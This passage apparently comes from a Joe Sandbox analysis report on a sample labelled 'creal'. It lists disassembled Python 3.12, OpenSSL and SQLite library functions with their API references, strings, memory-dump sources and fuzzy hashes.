Function 00007FF8E7144640 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyImport_ImportModuleLevelObject.PYTHON312 ref: 00007FF8E7144671
PyObject_GetAttr.PYTHON312 ref: 00007FF8E71446BD
PyUnicode_FromFormat.PYTHON312 ref: 00007FF8E71446DD
PyObject_GetItem.PYTHON312 ref: 00007FF8E71446F5
_Py_Dealloc.PYTHON312 ref: 00007FF8E714470C
PyDict_SetItem.PYTHON312 ref: 00007FF8E714472D
PyObject_SetItem.PYTHON312 ref: 00007FF8E7144735
_Py_Dealloc.PYTHON312 ref: 00007FF8E714474B
PyErr_Clear.PYTHON312 ref: 00007FF8E714477B
PyModule_GetFilenameObject.PYTHON312 ref: 00007FF8E7144784
PyUnicode_FromFormat.PYTHON312 ref: 00007FF8E71447A2
PyErr_SetImportError.PYTHON312 ref: 00007FF8E71447B9
_Py_Dealloc.PYTHON312 ref: 00007FF8E71447CD
_Py_Dealloc.PYTHON312 ref: 00007FF8E71447E1
_Py_Dealloc.PYTHON312 ref: 00007FF8E71447F5

Strings

%U.%U, xrefs: 00007FF8E71446D3
cannot import name %R from %R (%S), xrefs: 00007FF8E7144792

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$ItemObject_$Err_FormatFromImportObjectUnicode_$AttrClearDict_ErrorFilenameImport_LevelModuleModule_
String ID: %U.%U$cannot import name %R from %R (%S)
API String ID: 3630264407-438398067
Opcode ID: fcd6dac6a765cb05053f4bfe7cd39cb166bae5586e68d4d28e2f2c7c25a5bf2f
Instruction ID: e8adaa27b3ce954ecea7e414dc0944b6fd82e8c83c3588c95c4d48b170aa7a5e
Opcode Fuzzy Hash: fcd6dac6a765cb05053f4bfe7cd39cb166bae5586e68d4d28e2f2c7c25a5bf2f
Instruction Fuzzy Hash: 34512D36A08B82C1EA588F91E84477D63A2BB45FD6F448031CE6E47B54EF3CE4569702

Function 00007FF8E71D24B9 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 419
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FF8E72181F6
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E721820E
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3 ref: 00007FF8E7218372
EVP_CIPHER_get_flags.LIBCRYPTO-3 ref: 00007FF8E721837A
EVP_CIPHER_CTX_ctrl.LIBCRYPTO-3 ref: 00007FF8E72183EC
EVP_CIPHER_CTX_ctrl.LIBCRYPTO-3 ref: 00007FF8E72184C9
EVP_CIPHER_CTX_ctrl.LIBCRYPTO-3 ref: 00007FF8E7218518
BIO_test_flags.LIBCRYPTO-3 ref: 00007FF8E72185F3
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7218645
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E721865D
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3 ref: 00007FF8E72186EC
EVP_CIPHER_get_flags.LIBCRYPTO-3 ref: 00007FF8E72186F4
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7218849

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FF8E7218207, 00007FF8E7218656
ssl3_write_bytes, xrefs: 00007FF8E72181FB, 00007FF8E721864A, 00007FF8E721884E

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_newX_ctrl$R_get_flagsR_set_debugX_get0_cipher$O_test_flags
String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_write_bytes
API String ID: 2309317691-176253594
Opcode ID: 2e71b247f815af5fdb73305ed2dee3af8b68089cb2368134a97cf839ed5b4a1c
Instruction ID: 81d799da0edb5d6c03bb0d5e664aad55f64c5377e85955b52c3ff880eb76e269
Opcode Fuzzy Hash: 2e71b247f815af5fdb73305ed2dee3af8b68089cb2368134a97cf839ed5b4a1c
Instruction Fuzzy Hash: 8D028A22A08B8686EB50DFA5D4847BD27A1FB44BE8F180075DE6E47B99DF3CE445C702

Function 00007FF8E722E8A0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

read_state_machine, xrefs: 00007FF8E722EB2D, 00007FF8E722EB6A, 00007FF8E722EB92, 00007FF8E722EC05
..\s\ssl\statem\statem.c, xrefs: 00007FF8E722EB34, 00007FF8E722EB71, 00007FF8E722EB9E, 00007FF8E722EC11

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem.c$read_state_machine
API String ID: 0-3323778802
Opcode ID: 226199113d5c6b0f94b2c4bd83232d79919058d5f83b7f5b7b7cc92fd9dd9c15
Instruction ID: 6e3f24cf3d72d778296c0034f6746c307a636629e579466f601dea80ec3ad4db
Opcode Fuzzy Hash: 226199113d5c6b0f94b2c4bd83232d79919058d5f83b7f5b7b7cc92fd9dd9c15
Instruction Fuzzy Hash: DF917C32E0868781EB60AFA5D4583BD2761FF44BC8F584136DA3E47695DE3CE486E702

Function 00007FF8E71F9060 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FF8E71F9090
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E71F90A8
ERR_set_error.LIBCRYPTO-3 ref: 00007FF8E71F90B9
ERR_new.LIBCRYPTO-3 ref: 00007FF8E71F90D5
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E71F90ED
ERR_set_error.LIBCRYPTO-3 ref: 00007FF8E71F90FE

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FF8E71F90A1, 00007FF8E71F90E6, 00007FF8E71F9133
ssl_write_internal, xrefs: 00007FF8E71F9095, 00007FF8E71F90DA, 00007FF8E71F9127

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$ssl_write_internal
API String ID: 1552677711-2859347552
Opcode ID: f0637090c2e1248d2c4bd495b210b8b391bd17863f591ec7249c3c5e694070ae
Instruction ID: 74d1e8f2ad75f8259fe56eed024893df87d12f00b37c6a2c44900e20585b3781
Opcode Fuzzy Hash: f0637090c2e1248d2c4bd495b210b8b391bd17863f591ec7249c3c5e694070ae
Instruction Fuzzy Hash: 9541AF31A0CB8286F754EB94E8413ED2251EF84BD4F544131EA6E477E6DF3CE8458742

Function 00007FF8E7148EC3 Relevance: 19.6, APIs: 13, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8E71441E0: PyUnicode_FromStringAndSize.PYTHON312 ref: 00007FF8E71442E9
Part of subcall function 00007FF8E71441E0: PyUnicode_InternInPlace.PYTHON312 ref: 00007FF8E7144302

_Py_Dealloc.PYTHON312 ref: 00007FF8E7148F2B
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148F63
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148F7B
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148F9E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148FC1
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148FE4
_Py_Dealloc.PYTHON312 ref: 00007FF8E7149007
_Py_Dealloc.PYTHON312 ref: 00007FF8E714902A
_Py_Dealloc.PYTHON312 ref: 00007FF8E714904D
_Py_Dealloc.PYTHON312 ref: 00007FF8E7149070
_Py_Dealloc.PYTHON312 ref: 00007FF8E7149093
_Py_Dealloc.PYTHON312 ref: 00007FF8E71490B6
_Py_Dealloc.PYTHON312 ref: 00007FF8E71490D9

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Unicode_$FromInternPlaceSizeString
String ID:
API String ID: 2745024575-0
Opcode ID: 091893d1f0e79c71c802a693a5176002506af28f025ec817263c4d69333cf0a2
Instruction ID: 60ab74fdc260bc553551c3e757c28a47e95cd2b9c1072d3fa21630646deed10c
Opcode Fuzzy Hash: 091893d1f0e79c71c802a693a5176002506af28f025ec817263c4d69333cf0a2
Instruction Fuzzy Hash: E071AF35D0EB83C5EA5A8FE8E94833C33E9AF54BD4F184434C92E86650EF2EA4458713

Function 00007FF8E7004150 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyThread_get_thread_ident.PYTHON312 ref: 00007FF8E7004163
_Py_Dealloc.PYTHON312 ref: 00007FF8E70041AB
PyWeakref_GetObject.PYTHON312 ref: 00007FF8E70041E3
PyThread_get_thread_ident.PYTHON312 ref: 00007FF8E7004217
PyErr_Format.PYTHON312 ref: 00007FF8E7004232
PyType_GetModuleByDef.PYTHON312 ref: 00007FF8E7004252
PyModule_GetState.PYTHON312 ref: 00007FF8E700425B
PyErr_SetString.PYTHON312 ref: 00007FF8E700426C

Strings

SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E7004221
Base Connection.__init__ not called., xrefs: 00007FF8E7004261

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: Err_Thread_get_thread_ident$DeallocFormatModuleModule_ObjectStateStringType_Weakref_
String ID: Base Connection.__init__ not called.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.
API String ID: 2571765474-2092554567
Opcode ID: 8c03bb0be16753a7d61ffbf7de6e139517abf82c47afcab64f99bd497c573e4f
Instruction ID: 9f98f81a0dccc506f621d917811508afada1b9ebb90e85fa3e4fcc3c4e58a5a5
Opcode Fuzzy Hash: 8c03bb0be16753a7d61ffbf7de6e139517abf82c47afcab64f99bd497c573e4f
Instruction Fuzzy Hash: 75311032B08A01C2EF548BA5E89066D63A4FF96FE4F540431DA6D87764CF7DE8828315

Function 00007FF8E7006080 Relevance: 16.7, APIs: 11, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyType_GetModuleByDef.PYTHON312 ref: 00007FF8E70060FA
PyModule_GetState.PYTHON312 ref: 00007FF8E7006103
_PyArg_UnpackKeywords.PYTHON312 ref: 00007FF8E7006171
_PyLong_AsInt.PYTHON312 ref: 00007FF8E700628D
PyFloat_AsDouble.PYTHON312 ref: 00007FF8E70062BE
PyObject_IsTrue.PYTHON312 ref: 00007FF8E70062F1
PyObject_IsTrue.PYTHON312 ref: 00007FF8E700630A
_PyLong_AsInt.PYTHON312 ref: 00007FF8E700632D

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: Long_Object_True$Arg_DoubleFloat_KeywordsModuleModule_StateType_Unpack
String ID:
API String ID: 2710640889-0
Opcode ID: eb4ed405b9ba4c793bd57a7410cc763f9b4ec134fc6694bdbee7a3781cb9725e
Instruction ID: 033c2885e006864abd4faf59b4105b1d33c0bf59673fe435fcf53890d6d6a5af
Opcode Fuzzy Hash: eb4ed405b9ba4c793bd57a7410cc763f9b4ec134fc6694bdbee7a3781cb9725e
Instruction Fuzzy Hash: 18817D71A0DA8286EE658FA5E44437E63A1BF46BE4F140835DE6D83798DF3CF444A702

Function 00007FF8E722F2D0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3(?,?,?,-00000031,00007FF8E722F026), ref: 00007FF8E722F382
ERR_set_debug.LIBCRYPTO-3(?,?,?,-00000031,00007FF8E722F026), ref: 00007FF8E722F39A

Strings

write_state_machine, xrefs: 00007FF8E722F38C, 00007FF8E722F67B
..\s\ssl\statem\statem.c, xrefs: 00007FF8E722F393, 00007FF8E722F682

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem.c$write_state_machine
API String ID: 193678381-552286378
Opcode ID: 1d6bb93f5b3c9fc934879ae7831a669262a7cca94352ee649c788080de7cb4f3
Instruction ID: f8634951d38c361b7e977138461fdfbf9891868a68493e64fb002d9b31bd7ac4
Opcode Fuzzy Hash: 1d6bb93f5b3c9fc934879ae7831a669262a7cca94352ee649c788080de7cb4f3
Instruction Fuzzy Hash: A6A19E32A0868282EB64DFA5D4543BD23A0FF45BC8F444136DA3E436A9DF7CE945CB06

Function 00007FF8E71F8350 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FF8E71F8380
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E71F8398
ERR_set_error.LIBCRYPTO-3 ref: 00007FF8E71F83A9

Strings

ssl_read_internal, xrefs: 00007FF8E71F8385, 00007FF8E71F8451
..\s\ssl\ssl_lib.c, xrefs: 00007FF8E71F8391, 00007FF8E71F845D

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$ssl_read_internal
API String ID: 1552677711-1892056158
Opcode ID: 7473d06a2407873355388ad239ca0f238b91fb0b4b2db5c5823ba31df924bc96
Instruction ID: acaed67cdfbb0c974e2fc1d9865cc639ea833f71ac8ec355a885f0cf9e1009d4
Opcode Fuzzy Hash: 7473d06a2407873355388ad239ca0f238b91fb0b4b2db5c5823ba31df924bc96
Instruction Fuzzy Hash: DB319071A0C74186E754EB99E4413AD3660FF84BC4F544036EAAE477A6DF3CE441CB42

Function 00007FF8E6932310 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 332COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E6932499

Strings

table, xrefs: 00007FF8E693233A
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FF8E69323B4
sqlite_temp_master, xrefs: 00007FF8E6932355
sqlite_master, xrefs: 00007FF8E693235C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FF8E693268C
ase, xrefs: 00007FF8E693259A

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 3510742995-879093740
Opcode ID: e211291552fdeeff28b77209d71417d8ca2fa6ad64ce2d5f01da26aa779ab433
Instruction ID: a21e57fc4a48749531572a87fe8c40829326a42f39487e8d7680fe039da809a0
Opcode Fuzzy Hash: e211291552fdeeff28b77209d71417d8ca2fa6ad64ce2d5f01da26aa779ab433
Instruction Fuzzy Hash: 17E18A22F28B928AEB10EBB980583BD37A5BB457C8F154235CE4D57795DF3CE8528342

Function 00007FF8E7241360 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FF8E7241486
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E724149E
ERR_new.LIBCRYPTO-3 ref: 00007FF8E724151E
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7241536

Strings

tls_get_message_header, xrefs: 00007FF8E724148B, 00007FF8E7241523
..\s\ssl\statem\statem_lib.c, xrefs: 00007FF8E7241497, 00007FF8E724152F

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_lib.c$tls_get_message_header
API String ID: 193678381-2714770296
Opcode ID: 717b32632bc4246fdc1889e2c1c168c8320e87278ef501c7e5f5ad56fc1daf3e
Instruction ID: 388ade9bb377c625f7b45c6cb41edb227c2d772f7234d01b23ae5a069612a0dc
Opcode Fuzzy Hash: 717b32632bc4246fdc1889e2c1c168c8320e87278ef501c7e5f5ad56fc1daf3e
Instruction Fuzzy Hash: FC612D72A0878296EB90CFA9E5503BD37A0FB44B88F084036DBAE47695EF3CD495D711

Function 00007FF8E68BDC50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68BDC94
memcpy.VCRUNTIME140 ref: 00007FF8E68BDCBD
ReadFile.KERNEL32 ref: 00007FF8E68BDD10
memset.VCRUNTIME140 ref: 00007FF8E68BDDD4

Strings

winRead, xrefs: 00007FF8E68BDD68
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8E68BDDA9

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 2051157613-1843600136
Opcode ID: 505e69acdbc416d286ffe42e890aa3e194485d8a64ffd5326fe3626b5f21587f
Instruction ID: 9d44f49d7e12cd1de042ed3a4a58a07e67ba455a5772cfaad47ef8f90eeb016f
Opcode Fuzzy Hash: 505e69acdbc416d286ffe42e890aa3e194485d8a64ffd5326fe3626b5f21587f
Instruction Fuzzy Hash: E4417736B28A1692E3209F95E8946F9B361FB45BC4F084132EE8D43799DF3CE446C742

Function 00007FF8E71EFFE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FF8E71F0000
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E71F0018
ERR_set_error.LIBCRYPTO-3 ref: 00007FF8E71F0028
ASYNC_get_current_job.LIBCRYPTO-3 ref: 00007FF8E71F0075

Strings

SSL_do_handshake, xrefs: 00007FF8E71F0005
..\s\ssl\ssl_lib.c, xrefs: 00007FF8E71F0011

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: C_get_current_jobR_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$SSL_do_handshake
API String ID: 2134390360-2964568172
Opcode ID: 46602194f778fa2614cb91244c54d281bde36e84fac3cc3955deca6444a68e60
Instruction ID: e46ee42fa72c237e09cf8766e1c3314cace587659e00d5a216ba62f5605a0439
Opcode Fuzzy Hash: 46602194f778fa2614cb91244c54d281bde36e84fac3cc3955deca6444a68e60
Instruction Fuzzy Hash: 4621C162B08B4282EB54EBB5F4413BD2351FF887C4F590235EE6D42786EF3CE5818602

Function 00007FF8E68C0250 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF8E68C048A

Part of subcall function 00007FF8E68BFC70: memset.VCRUNTIME140 ref: 00007FF8E68BFCDB
Part of subcall function 00007FF8E68BFC70: memset.VCRUNTIME140 ref: 00007FF8E68BFD63

Strings

exclusive, xrefs: 00007FF8E68C041A
winOpen, xrefs: 00007FF8E68C06FD
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8E68C0566
psow, xrefs: 00007FF8E68C0801

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
